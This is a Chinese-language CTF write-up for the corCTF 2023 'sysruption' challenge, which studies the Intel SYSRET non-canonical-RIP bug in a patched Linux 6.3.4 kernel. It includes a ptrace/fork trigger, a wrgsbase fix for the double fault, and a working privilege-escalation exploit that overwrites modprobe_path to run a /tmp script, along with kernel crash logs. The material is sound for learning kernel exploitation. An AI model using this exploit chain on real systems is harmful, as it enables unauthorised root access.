首页
社区
课程
招聘
[原创] 以 corCTF 2023 sysruption 学习 sysret bug 的利用
2024-2-1 17:06 11669

[原创] 以 corCTF 2023 sysruption 学习 sysret bug 的利用

2024-2-1 17:06
11669


前言

这是一道关于 SYSRET 漏洞利用的一道题目,感觉非常有意思,在此仅做记录。

参考:

zolutal: corCTF 2023: sysruption writeup

Will's Root: corCTF 2023 sysruption - Exploiting Sysret on Linux in 2023

SYSRET — Return From Fast System Call

Vitaly Nikolenko: CVE-2014-4699: Linux Kernel ptrace/sysret vulnerability analysis

entry_SYSCALL_64 source code

THE INTEL SYSRET PRIVILEGE ESCALATION

这里默认读者对系统调用、中断异常故障有基本的了解,知道段选择子是什么、其特权级代表什么含义。如果不是很了解的话建议做一做 hxp CTF 2022: one_byte 这道题目,可以帮助你快速了解。但还是建议看下保护模式相关的书籍,其介绍的更加详细。

漏洞分析

启动脚本如下:

#!/bin/sh
qemu-system-x86_64 \
    -m 4096M \
    -smp 1 \
    -nographic \
    -kernel "./bzImage" \
    -append "console=ttyS0 loglevel=3 panic=-1 pti=off kaslr" \
    -no-reboot \
    -monitor /dev/null \
    -cpu host \
    -netdev user,id=net \
    -device e1000,netdev=net \
    -initrd "./initramfs.cpio.gz" \
    -enable-kvm

看到 -cpu host 就想到 EntryBleed,这个漏洞我记得在之前的 SCTF 似乎考过。所以这里的 kaslr 可以很简单地利用侧信道绕过。

FizzBuzz101 大师在题目中重新引入了 sysret 漏洞,其 patch 如下:

--- orig_entry_64.S
+++ linux-6.3.4/arch/x86/entry/entry_64.S
@@ -150,13 +150,13 @@
        ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
                "shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
 #else
-       shl     $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
-       sar     $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+       # shl   $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+       # sar   $(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
 #endif

        /* If this changed %rcx, it was not canonical */
-       cmpq    %rcx, %r11
-       jne     swapgs_restore_regs_and_return_to_usermode
+       # cmpq  %rcx, %r11
+       # jne   swapgs_restore_regs_and_return_to_usermode

        cmpq    $__USER_CS, CS(%rsp)            /* CS must match SYSRET */
        jne     swapgs_restore_regs_and_return_to_usermode

可以看到,这里删除了 sysret 执行前对返回地址 %rcxcanonical 检查。原来的意思是如果 %rcx 是一个 non canonical 地址,则跳转的 slow exit path [swapgs_restore_regs_and_return_to_usermode],否则执行 fast exit path [sysret]

那么什么叫做 canonical 地址呢?我们知道在 64-bit 时代,虚拟地址空间寻址只用了 48 bit,因为 48 bit 的地址空间是足够的,并且对于 48 bit 的虚拟地址空间,只需要 4 级页表即可;而对于 64 bit 的虚拟地址空间,则需要 6 级页表,而页表查询是需要时间的。所以综合考虑,最终只使用了 48 bit 来寻址。那么这里就有 16 bit 没有被使用,而为了便于后续扩展,这里采用的方式是:

  • 16 bit [48 - 63 bit] 必须和第 17 bit 相同,也就是说高 17 bit 必须相同,那么这些地址就叫做 canonical address(其实就是有效地址)

  • 所以最后的虚拟地址空间为:0~0x7fffffffffff0xffff800000000000~0xffffffffffffffff

  • 而一般而言:0~0x7fffffffffff 为用户态虚拟地址空间;0xffff800000000000~0xffffffffffffffff 为内核态虚拟地址空间

而可以看到 entry_SYSCALL_64 源码中对上述 canonical address check 的描述:

 /*
  * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
  * in kernel space.  This essentially lets the user take over
  * the kernel, since userspace controls RSP.
  *
  * If width of "canonical tail" ever becomes variable, this will need
  * to be updated to remain correct on both old and new CPUs.
  *
  * Change top bits to match most significant bit (47th or 56th bit
  * depending on paging mode) in the address.
  */

可以知道,当 SYSRET 返回到一个 non canonical 地址时,会在内核态触发 #GP,而这本质上就是让用户接管内核,因为用户可以在用户空间控制 RSP。当然这里不理解没关系,继续往下看就 ok 啦。

entry_SYSCALL_64

这里还是先把 entry_SYSCALL_64 函数过一遍,当然这个函数比较简单,并且注释很清楚,所以只会翻译重点注释:

/*
 * 64-bit SYSCALL instruction entry. Up to 6 arguments in registers.
 * 64-bit 的 syscall 指令入口,最多 6 个寄存器参数
 *
 * This is the only entry point used for 64-bit system calls.  The
 * hardware interface is reasonably well designed and the register to
 * argument mapping Linux uses fits well with the registers that are
 * available when SYSCALL is used.
 * 这是 64-bit 系统调用的唯一入口点
 *
 * SYSCALL instructions can be found inlined in libc implementations as
 * well as some other programs and libraries.  There are also a handful
 * of SYSCALL instructions in the vDSO used, for example, as a
 * clock_gettimeofday fallback.
 *
 * 64-bit SYSCALL saves rip to rcx, clears rflags.RF, then saves rflags to r11,
 * then loads new ss, cs, and rip from previously programmed MSRs.
 * rflags gets masked by a value from another MSR (so CLD and CLAC
 * are not needed). SYSCALL does not save anything on the stack
 * and does not change rsp.
 * 64-bit syscall 保持 rip 到 rcx 中,并清除 rflags.RF 标志位,然后保存 rflags 到 r11 中
 * 然后从 MSR 寄存器组中加载新的 ss、cs 和 rip,rflags 的一些标志位会被清除
 * syscall 不在栈上保存任何值并且不会改变 rsp
 *
 * Registers on entry:
 * 下面是 syscall 使用的一些寄存器
 * rax  system call number  系统调用号
 * rcx  return address		返回地址
 * r11  saved rflags (note: r11 is callee-clobbered register in C ABI) rflags
 * rdi  arg0	6个参数寄存器
 * rsi  arg1
 * rdx  arg2
 * r10  arg3 (needs to be moved to rcx to conform to C ABI)
 * r8   arg4
 * r9   arg5
 * (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
 *
 * Only called from user space.
 *
 * When user can change pt_regs->foo always force IRET. That is because
 * it deals with uncanonical addresses better. SYSRET has trouble
 * with them due to bugs in both AMD and Intel CPUs.
 * 这段话的意思简而言之就是:
 *		当处理 non canonical address 时,用 iret 返回
 *		否则使用 sysret 返回,因为 sysret 更快
 */

SYM_CODE_START(entry_SYSCALL_64)
	UNWIND_HINT_ENTRY
	ENDBR

	swapgs	/* 切换 gs [gsbase] 为内核态 gs */
	/* tss.sp2 is scratch space. */
	movq	%rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* 保存 rsp */
	SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp  /* 切换页表,cr3 寄存器保存的是顶层目录项的基地址*/
	movq	PER_CPU_VAR(pcpu_hot + X86_top_of_stack), %rsp /* 切换栈帧,可以引证 syscall 不改变 rsp */

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR
	/* 下面就是依次压栈寄存器了,其实就是在栈上构造一个 pt_regs 结构体 */
	/* Construct struct pt_regs on stack */
	pushq	$__USER_DS				/* pt_regs->ss */
	pushq	PER_CPU_VAR(cpu_tss_rw + TSS_sp2)	/* pt_regs->sp */
	pushq	%r11					/* pt_regs->flags */
	pushq	$__USER_CS				/* pt_regs->cs */
	pushq	%rcx					/* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
	pushq	%rax					/* pt_regs->orig_ax */

	PUSH_AND_CLEAR_REGS rax=$-ENOSYS /* 这里会把其它寄存器压栈,并且会把寄存器的值清零*/

	/* IRQs are off. */
	/* 下面设置的 rdi/rsi 是 do_syscall_64 函数的两个参数 */
	/* rdi 保存的就是栈上 pt_regs 的地址 */
	movq	%rsp, %rdi
	/* Sign extend the lower 32bit as syscall numbers are treated as int */
	/* rsi 保存的是系统调用号 */
	movslq	%eax, %rsi

	/* clobbers %rax, make sure it is after saving the syscall nr */
	IBRS_ENTER
	UNTRAIN_RET
	/* 去执行相应的功能 */
	call	do_syscall_64		/* returns with IRQs disabled */

	/*
	 * Try to use SYSRET instead of IRET if we're returning to
	 * a completely clean 64-bit userspace context.  If we're not,
	 * go to the slow exit path.
	 * In the Xen PV case we must use iret anyway.
	 * 这里会尝试使用 sysret 返回而不是 iret,利用就是 sysret 更快
	 */

	ALTERNATIVE "", "jmp	swapgs_restore_regs_and_return_to_usermode", \
		X86_FEATURE_XENPV
	/* rcx r11 都是返回地址的值 */
	movq	RCX(%rsp), %rcx
	movq	RIP(%rsp), %r11
    /* 检查两个值是否相等 */
	cmpq	%rcx, %r11	/* SYSRET requires RCX == RIP */
	jne	swapgs_restore_regs_and_return_to_usermode

	/*
	 * On Intel CPUs, SYSRET with non-canonical RCX/RIP will #GP
	 * in kernel space.  This essentially lets the user take over
	 * the kernel, since userspace controls RSP.
	 *
	 * If width of "canonical tail" ever becomes variable, this will need
	 * to be updated to remain correct on both old and new CPUs.
	 *
	 * Change top bits to match most significant bit (47th or 56th bit
	 * depending on paging mode) in the address.
	 */
#ifdef CONFIG_X86_5LEVEL
	ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
		"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
	/* canonical address 检查 */
	shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
	sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif

	/* If this changed %rcx, it was not canonical */
	cmpq	%rcx, %r11
	jne	swapgs_restore_regs_and_return_to_usermode
	/* 检查 cs */
	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
	jne	swapgs_restore_regs_and_return_to_usermode
	/* 检查 rflags */
	movq	R11(%rsp), %r11
	cmpq	%r11, EFLAGS(%rsp)		/* R11 == RFLAGS */
	jne	swapgs_restore_regs_and_return_to_usermode

	/*
	 * SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot
	 * restore RF properly. If the slowpath sets it for whatever reason, we
	 * need to restore it correctly.
	 *
	 * SYSRET can restore TF, but unlike IRET, restoring TF results in a
	 * trap from userspace immediately after SYSRET.  This would cause an
	 * infinite loop whenever #DB happens with register state that satisfies
	 * the opportunistic SYSRET conditions.  For example, single-stepping
	 * this user code:
	 *
	 *           movq	$stuck_here, %rcx
	 *           pushfq
	 *           popq %r11
	 *   stuck_here:
	 *
	 * would never get past 'stuck_here'.
	 */
	/* 这里看上面注释,简单来说 sysret 不能恢复某些 rflags 的标志位 */
	testq	$(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
	jnz	swapgs_restore_regs_and_return_to_usermode

	/* nothing to check for RSP */
	/* 可以看到,这里没有检查 rsp */
	/* 检查 ss */
	cmpq	$__USER_DS, SS(%rsp)		/* SS must match SYSRET */
	jne	swapgs_restore_regs_and_return_to_usermode

	/*
	 * We win! This label is here just for ease of understanding
	 * perf profiles. Nothing jumps here.
	 */
	/* 下面就是 sysret 返回逻辑 */
syscall_return_via_sysret:
	IBRS_EXIT
	POP_REGS pop_rdi=0 /* 恢复相关寄存器的值,这里可以调试看更明显 */

	/*
	 * Now all regs are restored except RSP and RDI.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp /* 切换到内核栈 */
	UNWIND_HINT_EMPTY

	pushq	RSP-RDI(%rdi)	/* RSP */
	pushq	(%rdi)		/* RDI */

	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
	STACKLEAK_ERASE_NOCLOBBER

	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

	popq	%rdi /* 这里保存的返回值*/
	popq	%rsp /* 恢复 rsp */
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR
	swapgs /* 切换 gs 为用户态 gs */
	sysretq /* sysretq 返回 */
SYM_INNER_LABEL(entry_SYSRETQ_end, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR
	int3
SYM_CODE_END(entry_SYSCALL_64)

SYSRET BUG

sysret 指令的作用总的来说就是:

  • 加载 rcxrip

  • 切换代码段选择子

来看下 IntelAMD 手册对 sysret 的伪代码规范性描述:

------------------ INTEL -------------------|-------------------  AMD ----------------------
...                                         | ...
IF (operand size is 64-bit)                 | SYSRET_64BIT_MODE:
    THEN (* Return to 64-Bit Mode *)        | IF (OPERAND_SIZE == 64) {
    IF (RCX is not canonical) THEN #GP(0);  | {
        RIP := RCX;                         |      CS.sel = (MSR_STAR.SYSRET_CS + 16) OR 3
    ELSE (* Return to Compatibility Mode *) |      ...
        RIP := ECX;                         | }
FI;                                         | ...
...                                         | RIP = temp_RIP
CS.Selector := CS.Selector OR 3;            | EXIT
            (* RPL forced to 3 *)           |
...                                         |

可以看到在 Intel 规范中,如果 RCX 即返回地址不是一个 canonical address 的话,就会触发 #GP,然而可以看到其 CS 选择子的设置却在 #GP 后面,也就是说在 #GP 抛出时 CS 特权级为 0, 即 #GP 是在内核态抛出的。

但是在 AMD 规范中,其是先设置了 CS 的选择子,所以其并没有对地址进行显式的 canonical 检查,因为就算后面进行指令预取时发现其为 non canonical address 也没有关系,因为此时的 CS 选择子的特权级为 3,最后 #GP 是在用户态抛出的。

这会造成什么后果呢?在上面 entry_SYSCALL_64 函数的分析中,我们说了在 sysret 执行前恢复了 rsp 并且没有对 rsp 的检查。而我们知道当特权级从低往高转移时,会利用 tss 中的相关 ss/rsp 进行堆栈的切换(当然具体实现时,似乎都没有使用 tss,据说是因为其效率太低了),而由于 #GP 是在特权级为 0 抛出的,所以这里没有发生特权级的低到高切换,所以堆栈不会发生变化,即使用的还是之前的 rsp。哪问题不就来了吗?之前的 rsp 是用户态可控的啊,所以最好的效果如下:

  • #GP 在 0 特权级执行

  • #GP 使用用户空间提供的堆栈指针

漏洞利用

sysret bug 触发

由于水平有限,最后漏洞利用完全参考 corCTF 2023: sysruption writeupVitaly Nikolenko: CVE-2014-4699: Linux Kernel ptrace/sysret vulnerability analysis,而第一篇文章也是参考的第二篇文章,所以读者可以选择细读一下第二篇文章。

在文章中,其提到的用 ptrace 去触发漏洞,但是这里存在一定的限制,但其给出了解决方案,即:

Most ptrace paths go via the interface that catches the process using the signal handler which always returns with IRET. However, there are a few paths that can get caught with ptrace_event() instaed of the signal path. Refer to the PoC code for an example of using fork() with ptrace to force such a path.

这里给出文章中的 poc

void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
    struct user_regs_struct regs;
    int status;
    pid_t chld;

    memcpy(&regs, regs_arg, sizeof(regs));

    if ((chld = fork()) < 0) {
        perror("fork");
        exit(1);
    }

    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }

        raise(SIGSTOP);
        fork();
        return 0;
    }

    waitpid(chld, &status, 0);

    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
    ptrace(PTRACE_CONT, chld, 0, 0);

    waitpid(chld, &status, 0);

    regs.rip = 0x8000000000000000; // not-canonical
    regs.rcx = 0x8000000000000000; // not-canonical
    regs.rsp = addr;

    // necessary stuff
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;

    ptrace(PTRACE_SETREGS, chld, NULL, &regs);
    ptrace(PTRACE_CONT, chld, 0, 0);
    ptrace(PTRACE_DETACH, chld, 0, 0);
}

这里可以简单测试一下:

int main() {

        struct user_regs_struct regs;

        do_sysret(0xdeadbeef, &regs);
        sleep(1);

        puts("[+] EXP NEVER END");
        return 0;
}

结果如下:

ctf@corctf:~$ ./poc
[   10.018563] traps: PANIC: double fault, error_code: 0x0
[   10.018619] double fault: 0000 [#1] PREEMPT SMP NOPTI
[   10.018658] CPU: 0 PID: 77 Comm: poc Not tainted 6.3.4 #14
[   10.018660] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   10.018662] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   10.018900] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   10.018902] RSP: 0018:00000000deadbeef EFLAGS: 00010046
[   10.018937] RAX: 000000000000004e RBX: b3061c50e54d3600 RCX: 8000000000000000
[   10.018938] RDX: 00000000004bf0c0 RSI: 000000000040189d RDI: 0000000000000000
[   10.018939] RBP: 0000000000000000 R08: 0000000000008000 R09: 0000000000000001
[   10.018940] R10: 0000000000000001 R11: 0000000000000246 R12: 00000001002c307d
[   10.018941] R13: 0000000000000000 R14: 0000000000447a26 R15: 00007ffe8c607976
[   10.018942] FS:  0000000000402fcc(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   10.018944] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.018945] CR2: 00000000deadbed8 CR3: 0000000100a8c001 CR4: 0000000000770ef0
[   10.019027] PKRU: 55555554
[   10.019027] Call Trace:
[   10.019096] Modules linked in:
[   10.083849] ---[ end trace 0000000000000000 ]---
[   10.083854] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   10.083865] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   10.083867] RSP: 0018:00000000deadbeef EFLAGS: 00010046
[   10.083869] RAX: 000000000000004e RBX: b3061c50e54d3600 RCX: 8000000000000000
[   10.083870] RDX: 00000000004bf0c0 RSI: 000000000040189d RDI: 0000000000000000
[   10.083871] RBP: 0000000000000000 R08: 0000000000008000 R09: 0000000000000001
[   10.083872] R10: 0000000000000001 R11: 0000000000000246 R12: 00000001002c307d
[   10.083921] R13: 0000000000000000 R14: 0000000000447a26 R15: 00007ffe8c607976
[   10.083934] FS:  0000000000402fcc(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[   10.083935] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   10.083936] CR2: 00000000deadbed8 CR3: 0000000100a8c001 CR4: 0000000000770ef0
[   10.084008] PKRU: 55555554
[   10.084009] Kernel panic - not syncing: Fatal exception in interrupt
[   10.084920] Kernel Offset: disabled

可以看到这里的 RIP = entry_SYSRETQ_unsafe_stack+0x3/0x6,说明确实是在 sysret 中触发的,并且这里的 RSP = 0xdeadbeef,并且 CPU 特权级为 0,这些都是符合预期的。但是这里却发生了 double fault,这是致命的。

难道是 0xdeadbeef 不是一个合法的地址,于是进行如下测试:

int main() {

        char RSP[0x3000] = { 0 };

        struct user_regs_struct regs;
        printf("%#p\n", RSP);
        do_sysret(RSP + 0x1000, &regs);
        sleep(1);

        puts("[+] EXP NEVER END");
        return 0;
}

还是 double fault

0x7ffe97c51690
[   11.949086] traps: PANIC: double fault, error_code: 0x0
[   11.949132] double fault: 0000 [#1] PREEMPT SMP NOPTI
[   11.949160] CPU: 0 PID: 77 Comm: poc Not tainted 6.3.4 #14
[   11.949163] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   11.949164] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[   11.949350] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 00 00 48 81 cf 00 10 00 00 0f 22 df 58 5f 5c 0f 01 f8 <48> 0f 07 cc 66 66 2e 0f 1f 84 08
[   11.949351] RSP: 0018:00007ffe97c52690 EFLAGS: 00010046
......

所以这里似乎跟 rsp 的值没啥关系。

double fault 分析

这里产生 double fault 的原因是 GP handler 非预期的使用了用户空间的 gsbasegsbase 寄存器是用来访问 percpu 变量的,比如在系统调用时,entry_SYSCALL_64 的第一条指令就是 swapgs 即切换到内核 gsbase,然后返回时又调用 swapgs 切换到用户 gsbase

接下来看下 GP handler - asm_exc_general_protection

(remote) gef➤  x/30gi asm_exc_general_protection
   0xffffffff81a00a90 <asm_exc_general_protection>:     clac
   0xffffffff81a00a93 <asm_exc_general_protection+3>:   cld
   0xffffffff81a00a94 <asm_exc_general_protection+4>:   call   0xffffffff81a011c0 <error_entry>
   0xffffffff81a00a99 <asm_exc_general_protection+9>:   mov    rsp,rax
   0xffffffff81a00a9f <asm_exc_general_protection+12>:  mov    rdi,rsp
   0xffffffff81a00a9f <asm_exc_general_protection+15>:  mov    rsi,QWORD PTR [rsp+0x78]
   0xffffffff81a00aa4 <asm_exc_general_protection+20>:  mov    QWORD PTR [rsp+0x78],0xffffffffffffffff
   0xffffffff81a00aad <asm_exc_general_protection+29>:  call   0xffffffff817f2430 <exc_general_protection>
   0xffffffff81a00ab2 <asm_exc_general_protection+34>:  jmp    0xffffffff81a01300 <error_return>
   0xffffffff81a00ab7 <asm_exc_general_protection+39>:  nop    WORD PTR [rax+rax*1+0x0]
......

可以看到这里首先会调用 error_entry

如果你做了 one_byte 这题,这里的 calc 应该比较熟悉

(remote) gef➤  x/60gi error_entry
   0xffffffff81a011c0 <error_entry>:    push   rsi
   0xffffffff81a011c1 <error_entry+1>:  mov    rsi,QWORD PTR [rsp+0x8]
   0xffffffff81a011c6 <error_entry+6>:  mov    QWORD PTR [rsp+0x8],rdi
   /* push regs */
   0xffffffff81a011cb <error_entry+11>: push   rdx
   0xffffffff81a011cc <error_entry+12>: push   rcx
   0xffffffff81a011cd <error_entry+13>: push   rax
   0xffffffff81a011ce <error_entry+14>: push   r8
   0xffffffff81a011d0 <error_entry+16>: push   r9
   0xffffffff81a011d2 <error_entry+18>: push   r10
   0xffffffff81a011d4 <error_entry+20>: push   r11
   0xffffffff81a011d6 <error_entry+22>: push   rbx
   0xffffffff81a011d7 <error_entry+23>: push   rbp
   0xffffffff81a011d8 <error_entry+24>: push   r12
   0xffffffff81a011da <error_entry+26>: push   r13
   0xffffffff81a011dc <error_entry+28>: push   r14
   0xffffffff81a011de <error_entry+30>: push   r15
   0xffffffff81a011e0 <error_entry+32>: push   rsi
   /* clear regs */
   0xffffffff81a011e1 <error_entry+33>: xor    esi,esi
   0xffffffff81a011e3 <error_entry+35>: xor    edx,edx
   0xffffffff81a011e5 <error_entry+37>: xor    ecx,ecx
   0xffffffff81a011e7 <error_entry+39>: xor    r8d,r8d
   0xffffffff81a011ea <error_entry+42>: xor    r9d,r9d
   0xffffffff81a011ed <error_entry+45>: xor    r10d,r10d
   0xffffffff81a011f0 <error_entry+48>: xor    r11d,r11d
   0xffffffff81a011f3 <error_entry+51>: xor    ebx,ebx
   0xffffffff81a011f5 <error_entry+53>: xor    ebp,ebp
   0xffffffff81a011f7 <error_entry+55>: xor    r12d,r12d
   0xffffffff81a011fa <error_entry+58>: xor    r13d,r13d
   0xffffffff81a011fd <error_entry+61>: xor    r14d,r14d
   0xffffffff81a01200 <error_entry+64>: xor    r15d,r15d
   /* check cs.cpl*/
   0xffffffff81a01203 <error_entry+67>: test   BYTE PTR [rsp+0x90],0x3
   0xffffffff81a0120b <error_entry+75>: je     0xffffffff81a0125c <error_entry+156>
   0xffffffff81a0120d <error_entry+77>: swapgs
......

首先可以看到这里会先 push regs 到栈中,寄存器的值是可控的,rsp 可控的,所以这里相当于任意内核地址写了(只是相当于)。

然后可以看到如果这里的 cs.cpl 是 3 特权级的话,就会执行一次 swapgs,而我们知道漏洞触发后这里的 cs.cpl = 0,所以这里就不会执行 swapgs。而在之前的 entry_SYSCALL_64 分析中,我们知道在执行 sysret 之前已经执行过了一次 swapgs

......
 swapgs /* 切换 gs 为用户态 gs */
 sysretq /* sysretq 返回 */

所以这里 GP handler 使用的是用户态的 gs[gsbase],而 asm_exc_general_protection 后面会调用 exc_general_protection

(remote) gef➤  x/60gi exc_general_protection
   0xffffffff817f2430 <exc_general_protection>:            push   r13
   0xffffffff817f2432 <exc_general_protection+2>:       mov    r13,rsi
   0xffffffff817f2435 <exc_general_protection+5>:       push   r12
   0xffffffff817f2437 <exc_general_protection+7>:       push   rbp
   0xffffffff817f2438 <exc_general_protection+8>:       mov    rbp,rdi
   0xffffffff817f243b <exc_general_protection+11>:      push   rbx
   0xffffffff817f243c <exc_general_protection+12>:      sub    rsp,0x70
   0xffffffff817f2440 <exc_general_protection+16>:      mov    rax,QWORD PTR gs:0x28 <=== double fault
......

而在 exc_general_protection 中用户态 gs 被首次使用从而导致 double fault

double fault 解决

Vitaly Nikolenko 的文章中,其是通过覆写 IDT 表从而劫持 PF handler 到用户态代码,其文章是 14 年的,内核版本为 3.x,但现在都 2024 年了,IDT 早已不可写了,而且 SMEP 也将直接限制内核直接执行用户态代码。

zolutal 的文章中,其提到既然是由用户态 gsbase 导致的 PF,那么我们是否可以直接控制用户态的 gsbase,让其指向一个内核地址从而防止 PF

而作者发现在 x86 中存在一个 fsgsbase 扩展通常是开启的【参考 intel 官方文档】,其可以让我们在用户态通过 wrgsbase 汇编指令去设置 gsbase

这里最稳定的做法就是将 user gsbase 设置为 kernel gsbase,所以这里的泄漏 kernel gsbase。而 kernel gsbasephysmap 中,所以这里也是利用侧信道泄漏,这里还是见 EntryBleed,但是其似乎不是很稳定,所以 FizzBuzz101 调整了一下使其更加稳定了,主要就是调整了一下步距,具体见其文章。

void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
    struct user_regs_struct regs;
......

    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }

        asm volatile("wrgsbase %0" : : "r" (gsbase)); // <==== 修改 user gsbase

        raise(SIGSTOP);
        fork();
        return 0;
    }

......
}

测试可以发现,这里的 rsp 不能为用户态地址(好像说 ptiSMAP 的作用,所以这里会出现一些问题),然后简单设置 rsp 为内核可读写地址(其实就是需要栈的属性),然后发现并没有产生 double fault

ctf@corctf:~$ ./poc
[+] do_sysret
[    8.589102] general protection fault, maybe for address 0x4e: 0000 [#1] PREEMPT SMP NOPTI
......
[+] EXP NEVER END
[    9.593334] BUG: kernel NULL pointer dereference, address: 0000000000000253
[    9.598734] #PF: supervisor read access in kernel mode
[    9.601579] #PF: error_code(0x0000) - not-present page
......

当然这里产生的 #PF 可以暂时不管,这是由于 poc 中的一些参数没有设置好,这节的重点在于解决 double fault 问题。

权限提升

在上述的分析中,我们得到了一个内核地址写原语。这里题目给了 kconfig,查看可以知道其没有开启 CONFIG_STATIC_USERMODEHELPER,所以这里可以尝试写 modprobe_path 提权或者拿 flag

第一版 exp

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>

uint64_t gsbase = 0xffff88813bc00000;
uint64_t modprobe_path = 0xffffffff8203b840;

void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
 ......
}

void pre_get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/flag.txt' > /tmp/x");
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
        system("chmod +x /tmp/dummy");
}

void get_flag() {
        system("/tmp/dummy");
        system("cat /root/flag.txt");
}

int main() {

        struct user_regs_struct regs;

        pre_get_flag();

        char str[8] = "/tmp/x\x00\x00";
        for (int i = 0; i < sizeof(regs) / 8; i++) {
                ((uint64_t*)&regs)[i] = *((uint64_t*)str);
        }

        puts("\n[+] do_sysret");
        getchar();
        do_sysret(modprobe_path + 0x78, &regs);
        sleep(1);

        puts("\n[+] get_flag");
      getchar();
        get_flag();
        sleep(1);
        puts("[+] EXP NEVER END");
        return 0;
}

modprobe_path 前:

(remote) gef➤  x/s 0xffffffff8203b840
0xffffffff8203b840:     "/sbin/modprobe"

modprobe_path 后:

gef➤  x/s 0xffffffff8203b840
0xffffffff8203b840:     "/tmp/x"

get_flag

[+] get_flag
[   23.158576] BUG: kernel NULL pointer dereference, address: 00000000000001e0
[   23.165033] #PF: supervisor read access in kernel mode
[   23.175756] #PF: error_code(0x0000) - not-present page
[   23.178612] PGD 10115a067 P4D 10115a067 PUD 101153067 PMD 0
[   23.183171] Oops: 0000 [#2] PREEMPT SMP NOPTI
[   23.186155] CPU: 0 PID: 27 Comm: kworker/u2:1 Tainted: G      D            6.3.4 #14
[   23.191255] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
[   23.197747] Workqueue: events_unbound call_usermodehelper_exec_work
[   23.202854] RIP: 0010:inc_rlimit_ucounts+0x31/0x70
[   23.206428] Code: f0 48 89 f9 45 31 d2 49 b9 ff ff ff ff ff ff ff 7f 4a 8d 34 c5 70 00 00 00 49 83 c0 46 eb 1c 48 39 cf 4c 0f 44 d0 48 8b 41 10 <48> 8b 88 e0 01 00 00 4e 8b 4c c8
[   23.226013] RSP: 0018:ffffc900000e3cb8 EFLAGS: 00010246
[   23.229254] RAX: 0000000000000000 RBX: ffff888101038000 RCX: ffffffff8203b6c0
[   23.233876] RDX: 0000000000000001 RSI: 0000000000000070 RDI: ffffffff8203b6c0
[   23.243660] RBP: ffffffff8203b6c0 R08: 0000000000000046 R09: 7fffffffffffffff
[   23.251135] R10: 0000000000000001 R11: 0000000000000025 R12: 0000000000000000
[   23.255452] R13: ffffc900000e3df0 R14: 00000000ffffffff R15: 0000000000800100
[   23.260494] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000
[   23.268356] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
